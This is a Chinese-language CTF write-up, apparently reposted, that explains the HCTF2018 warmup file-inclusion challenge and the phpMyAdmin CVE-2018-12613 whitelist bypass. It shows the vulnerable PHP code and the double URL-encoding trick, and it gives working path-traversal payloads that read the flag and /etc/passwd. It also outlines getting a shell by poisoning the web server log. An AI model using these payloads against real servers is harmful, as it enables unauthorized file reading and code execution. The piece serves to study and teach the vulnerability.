淺談CVE-2018-12613文件包含/buuojHCTF2018簽到題Writeup


文件包含

蒻姬我最開始接觸這個 是一道buuoj的web簽到題
HCTF Warmup
進入靶機,查看源代碼


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

划重點
進入這個php源

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

再次划重點


    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

有思路了

只要通過這個判斷就會執行file傳遞的參數的文件,想到可能時任意文件包含。

通過引入文件時,引用的文件名,用戶可控,由於傳入的文件名沒有經過合理的校驗,或者檢驗被繞過,從而操作了預想之外的文件,就可能導致意外的文件泄露甚至惡意的代碼注入。

  • 再看if中的判斷,file參數不為空&&是個字符串&&通過checkFile方法的檢驗。去看checkFIle方法。
public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }

看,hint.php 在白名單里!

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }


            
           


進入hint.php 看到這樣一行提示
flag not here, and flag in ffffllllaaaagggg

再回想前面條件,首先必須存在並且是字符串

(必須使函數返回為true才能訪問文件)

if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;

然后判斷參數是否在白名單中;

mb_strpos()的作用是查找字符串在另一個字符串中首次出現的位置,即?在前面字符串中出現的位置

而mb_substr()用以截斷字符串。

然后和白名單比較。
又重復了一次上面的操作。

這個涉及到phpMyAdmin的一個洞CVE-2018-12613,由於PHP會自動urldecode一次,導致我們提交%253f(?的urlencode的urlencode)的時候自動轉成%3f,滿足if條件,%253f/就會被認為是一個目錄,從而include。就有了下面的轉化

? --> %3f --> %253f

payload: file=hint.php%253f/…/…/…/…/…/…/…/ffffllllaaaagggg

關於cve-2018-12613-PhpMyadmin后台文件包含

2018年6月19日,phpmyadmin在最新版本修復了一個嚴重級別的漏洞.

https://www.phpmyadmin.net/security/PMASA-2018-4/

官方漏洞描述是這樣的

An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially 
execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded 
within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the 
"$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, 
and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login 
requirement and runs the vulnerable code without any authentication).

問題在index.php的55~63:

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

這里對於參數共有5個判斷,判斷通過就可以通過Include包含文件

問題出在后兩個上

$target_blacklist = array (
    'import.php', 'export.php'
);

以及
Core::checkPageValidity($_REQUEST['target']):

代碼在libraries\classes\Core.php的443~476:

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

看,這跟上面的代碼幾乎是一個模子里刻出來的

然后康康驗證的白名單whitelist

public static $goto_whitelist = array(
      'db_datadict.php',
      'db_sql.php',
      'db_events.php',
      'db_export.php',
      'db_importdocsql.php',
      'db_multi_table_query.php',
      'db_structure.php',
      'db_import.php',
      'db_operations.php',
      'db_search.php',
      'db_routines.php',
      'export.php',
      'import.php',
      'index.php',
      'pdf_pages.php',
      'pdf_schema.php',
      'server_binlog.php',
      'server_collations.php',
      'server_databases.php',
      'server_engines.php',
      'server_export.php',
      'server_import.php',
      'server_privileges.php',
      'server_sql.php',
      'server_status.php',
      'server_status_advisor.php',
      'server_status_monitor.php',
      'server_status_queries.php',
      'server_status_variables.php',
      'server_variables.php',
      'sql.php',
      'tbl_addfield.php',
      'tbl_change.php',
      'tbl_create.php',
      'tbl_import.php',
      'tbl_indexes.php',
      'tbl_sql.php',
      'tbl_export.php',
      'tbl_operations.php',
      'tbl_structure.php',
      'tbl_relation.php',
      'tbl_replace.php',
      'tbl_row_action.php',
      'tbl_select.php',
      'tbl_zoom_select.php',
      'transformation_overview.php',
      'transformation_wrapper.php',
      'user_password.php',
  );

之后phpMyAdmin的開發團隊考慮到了target后面加參數的情況,通過字符串分割將問號的前面部分取出,繼續匹配白名單,然后經過一遍urldecode后再重復動作。

得到payload

target=db_datadict.php%253f/../../../../../../../../etc/passwd

此處再次分析胡扯文件包含漏洞的具體產生原因

  • 程序員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,文件調用的過程一般被稱為文件包含
  • 他們希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,
  • 但正是由於這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
  • 幾乎所有腳本語言都會提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多而在JSP、ASP、程序中卻非常少,甚至沒有,這是本身語言設計的弊端(猜測

Getshell

  • 上傳圖片GETshell
  • 讀取文件,讀取php文件
  • 包含日志文件獲取webshell
  1. 首先找到文件存放位置
    有權限讀取apache配置文件或是/etc/init.d/httpd
    默認位置/var/log/httpd/access_log

  2. 讓日志文件插入php代碼
    發送url請求時后插入php代碼,一般使用burp suite抓包修改
    curl發包
    插入到get請求,或是user-agent部分

  3. 包含日志文件(必須要權限包含)

舉個栗子

if (isset($_GET[page])) {
include $_GET[page];
} else {
include "hint.PHP";
}

其中$_GET[page]使用戶可以控制變量。如果沒有嚴格的過濾就導致漏洞的出現

代碼審計

包含文件的函數

  • include()
  • include_once()
  • require()
  • require_once()

參考鏈接http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12613


暫停一下,摸魚去了
明天再更qwq


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM